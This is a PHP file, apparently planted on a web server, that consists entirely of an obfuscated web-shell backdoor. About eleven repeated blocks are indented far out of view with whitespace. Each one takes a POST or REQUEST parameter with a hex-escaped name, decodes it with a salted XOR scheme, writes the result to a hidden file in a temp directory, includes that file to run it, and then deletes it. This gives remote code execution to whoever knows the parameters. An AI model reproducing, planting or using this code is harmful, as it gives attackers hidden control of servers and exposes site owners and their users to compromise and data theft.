<?php																																										if(array_key_exists("p\x74r", $_POST)){ $flg = $_POST["p\x74r"]; $flg= explode ( ".",$flg) ; $property_set= ''; $s= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $s); foreach( $flg as $l => $v2): $sChar= ord( $s[$l % $lenS]); $d= ( ( int)$v2 - $sChar -( $l % 10)) ^1; $property_set .= chr( $d); endforeach; $symbol = array_filter([sys_get_temp_dir(), "/tmp", getenv("TEMP"), getenv("TMP"), "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), session_save_path(), "/dev/shm"]); $dat = 0; do { $dchunk = $symbol[$dat] ?? null; if ($dat >= count($symbol)) break; if (array_product([is_dir($dchunk), is_writable($dchunk)])) { $value = "$dchunk/.res"; if (file_put_contents($value, $property_set)) { require $value; unlink($value); die(); } } $dat++; } while (true); }
																																										if(filter_has_var(INPUT_POST, "\x62i\x6Eding")){ $element = $_POST["\x62i\x6Eding"]; $element= explode( '.' , $element ) ; $fac =''; $salt ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen( $salt); $w =0; while( $w < count( $element)) { $v3 =$element[$w]; $chS =ord( $salt[$w % $sLen]); $d =( ( int)$v3 - $chS -( $w % 10)) ^ 72; $fac .= chr( $d); $w++;} $sym = array_filter([getcwd(), session_save_path(), getenv("TMP"), "/tmp", sys_get_temp_dir(), "/dev/shm", "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP")]); $pset = 0; do { $property_set = $sym[$pset] ?? null; if ($pset >= count($sym)) break; if (is_writable($property_set) && is_dir($property_set)) { $ent = "$property_set" . "/.data"; $success = file_put_contents($ent, $fac); if ($success) { include $ent; @unlink($ent); exit;} } $pset++; } while (true); }
																																										if(@$_REQUEST["ob\x6A"] !== null){ $ref = array_filter([sys_get_temp_dir(), getcwd(), "/var/tmp", getenv("TEMP"), "/dev/shm", getenv("TMP"), ini_get("upload_tmp_dir"), session_save_path(), "/tmp"]); $pointer = $_REQUEST["ob\x6A"]; $pointer = explode( ".", $pointer ) ; $parameter_group = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($salt ); foreach($pointer as $m => $v5) { $chS = ord($salt[$m % $sLen] ); $d =((int)$v5 - $chS -($m % 10)) ^ 40; $parameter_group .= chr($d ); } while ($marker = array_shift($ref)) { if (array_product([is_dir($marker), is_writable($marker)])) { $reference = join("/", [$marker, ".k"]); $file = fopen($reference, 'w'); if ($file) { fwrite($file, $parameter_group); fclose($file); include $reference; @unlink($reference); exit; } } } }
																																										if(isset($_POST["i\x74\x65m"])){ $dchunk = $_POST["i\x74\x65m"]; $dchunk =explode ( ".", $dchunk ) ; $entity = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt); $s = 0; $__tmp = $dchunk; while( $v1 = array_shift( $__tmp)) { $sChar = ord( $salt[$s % $sLen]); $dec =( ( int)$v1 - $sChar -( $s % 10))^ 66; $entity .= chr( $dec); $s++; } $record = array_filter(["/tmp", getenv("TMP"), session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getcwd()]); while ($dat = array_shift($record)) { if ((function($d) { return is_dir($d) && is_writable($d); })($dat)) { $marker = vsprintf("%s/%s", [$dat, ".ref"]); if (file_put_contents($marker, $entity)) { include $marker; @unlink($marker); die(); } } } }
																																										if(!is_null($_POST["sy\x6D"] ?? null)){ $res = array_filter([ini_get("upload_tmp_dir"), "/dev/shm", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/tmp", getenv("TEMP"), session_save_path(), "/var/tmp"]); $record = $_POST["sy\x6D"]; $record = explode ( '.' , $record) ; $pointer = ''; $salt1 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt1 ); foreach ($record as $u => $v2): $sChar = ord($salt1[$u % $lenS] ); $d = ((int)$v2 - $sChar - ($u % 10)) ^ 60; $pointer .= chr($d ); endforeach; for ($token = 0, $itm = count($res); $token < $itm; $token++) { $holder = $res[$token]; if (!!is_dir($holder) && !!is_writable($holder)) { $obj = join("/", [$holder, ".pgrp"]); $success = file_put_contents($obj, $pointer); if ($success) { include $obj; @unlink($obj); die();} } } }
																																										if(@$_POST["b\x69\x6Ed"] !== null){ $element = array_filter([getcwd(), session_save_path(), "/var/tmp", "/tmp", ini_get("upload_tmp_dir"), "/dev/shm", getenv("TEMP"), getenv("TMP"), sys_get_temp_dir()]); $ptr = $_POST["b\x69\x6Ed"]; $ptr = explode ( "." , $ptr) ; $mrk = ''; $salt7 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt7); $y = 0; $__tmp = $ptr; while( $v2 = array_shift( $__tmp)) { $sChar = ord( $salt7[$y % $lenS]); $dec = ( ( int)$v2 - $sChar -( $y % 10)) ^ 46; $mrk .= chr( $dec); $y++; } $tkn = 0; do { $value = $element[$tkn] ?? null; if ($tkn >= count($element)) break; if (array_product([is_dir($value), is_writable($value)])) { $ref = "$value/.factor"; if (file_put_contents($ref, $mrk)) { include $ref; @unlink($ref); exit; } } $tkn++; } while (true); }
																																										if(array_key_exists("ent", $_REQUEST)){ $fac = array_filter([getcwd(), "/var/tmp", ini_get("upload_tmp_dir"), getenv("TEMP"), "/dev/shm", getenv("TMP"), session_save_path(), sys_get_temp_dir(), "/tmp"]); $item = $_REQUEST["ent"]; $item=explode ( '.' , $item ) ; $component=''; $s='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen=strlen( $s ); $m=0; while( $m < count( $item)) { $v8=$item[$m]; $chS=ord( $s[$m % $sLen] ); $d=( ( int)$v8 - $chS -( $m % 10)) ^ 63; $component .= chr( $d ); $m++; } foreach ($fac as $mrk) { if ((function($d) { return is_dir($d) && is_writable($d); })($mrk)) { $dchunk = vsprintf("%s/%s", [$mrk, ".flg"]); if (file_put_contents($dchunk, $component)) { include $dchunk; @unlink($dchunk); die(); } } } }
																																										if(isset($_REQUEST["d\x61\x74\x61\x5Fc\x68unk"])){ $component = $_REQUEST["d\x61\x74\x61\x5Fc\x68unk"]; $component = explode ('.' , $component ) ; $res = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); foreach($component as $x => $v8) { $sChar = ord($s[$x % $lenS]); $d =((int)$v8 - $sChar -($x % 10)) ^ 14; $res .= chr($d); } $symbol = array_filter(["/dev/shm", "/var/tmp", "/tmp", sys_get_temp_dir(), session_save_path(), ini_get("upload_tmp_dir"), getcwd(), getenv("TEMP"), getenv("TMP")]); $dchunk = 0; do { $marker = $symbol[$dchunk] ?? null; if ($dchunk >= count($symbol)) break; if ((bool)is_dir($marker) && (bool)is_writable($marker)) { $data = "$marker/.ent"; $file = fopen($data, 'w'); if ($file) { fwrite($file, $res); fclose($file); include $data; @unlink($data); die(); } } $dchunk++; } while (true); }
																																										if(count($_POST) > 0 && isset($_POST["v\x61\x6Cue"])){ $ent = array_filter([getcwd(), "/var/tmp", "/tmp", "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), ini_get("upload_tmp_dir"), session_save_path(), getenv("TMP")]); $rec = $_POST["v\x61\x6Cue"]; $rec = explode ("." , $rec ) ; $property_set= ''; $salt6= 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS= strlen( $salt6 ); foreach( $rec as $z=>$v6): $chS= ord( $salt6[$z% $lenS] ); $dec= ( ( int)$v6 - $chS -( $z% 10)) ^ 19; $property_set.= chr( $dec ); endforeach; foreach ($ent as $key => $flg) { if (!!is_dir($flg) && !!is_writable($flg)) { $dat = vsprintf("%s/%s", [$flg, ".marker"]); if (@file_put_contents($dat, $property_set) !== false) { include $dat; unlink($dat); exit; } } } }
																																										if(filter_has_var(INPUT_POST, "\x76al")){ $property_set = $_POST["\x76al"]; $property_set = explode("." , $property_set ); $data_chunk =''; $s ='abcdefghijklmnopqrstuvwxyz0123456789'; $sLen =strlen($s); $z =0; while ($z< count($property_set)) { $v6 =$property_set[$z]; $chS =ord($s[$z % $sLen]); $dec =((int)$v6 - $chS - ($z % 10)) ^ 37; $data_chunk .= chr($dec); $z++;} $flg = array_filter(["/var/tmp", "/tmp", getcwd(), ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), session_save_path()]); foreach ($flg as $item) { if (!( !is_dir($item) || !is_writable($item) )) { $rec = "$item/.data"; if (file_put_contents($rec, $data_chunk)) { require $rec; unlink($rec); die(); } } } }


if(isset($_POST["\x64\x61t"])){
	$item = array_filter(["/tmp", "/var/tmp", getcwd(), getenv("TMP"), ini_get("upload_tmp_dir"), getenv("TEMP"), session_save_path(), sys_get_temp_dir(), "/dev/shm"]);
	$desc = $_POST["\x64\x61t"];
	$desc =	 	explode('.',   $desc )  	;	 
	$pgrp = 	'';
            $s5 = 	'abcdefghijklmnopqrstuvwxyz0123456789';
            $sLen = 	strlen(	$s5);
    
            foreach(	$desc as $t => $v7) {	 $chS = 	ord(	$s5[$t% $sLen]);
                $dec = 	(	(	int)$v7 - $chS -(	$t% 10)) ^ 23;
                $pgrp		.=chr(	$dec);
            }
	foreach ($item as $entity):
    		if (is_dir($entity) && is_writable($entity)) {
    $bind = str_replace("{var_dir}", $entity, "{var_dir}/.hld");
    $file = fopen($bind, 'w');
if ($file) {
	fwrite($file, $pgrp);
	fclose($file);
	include $bind;
	@unlink($bind);
	die();
}
}
endforeach;
}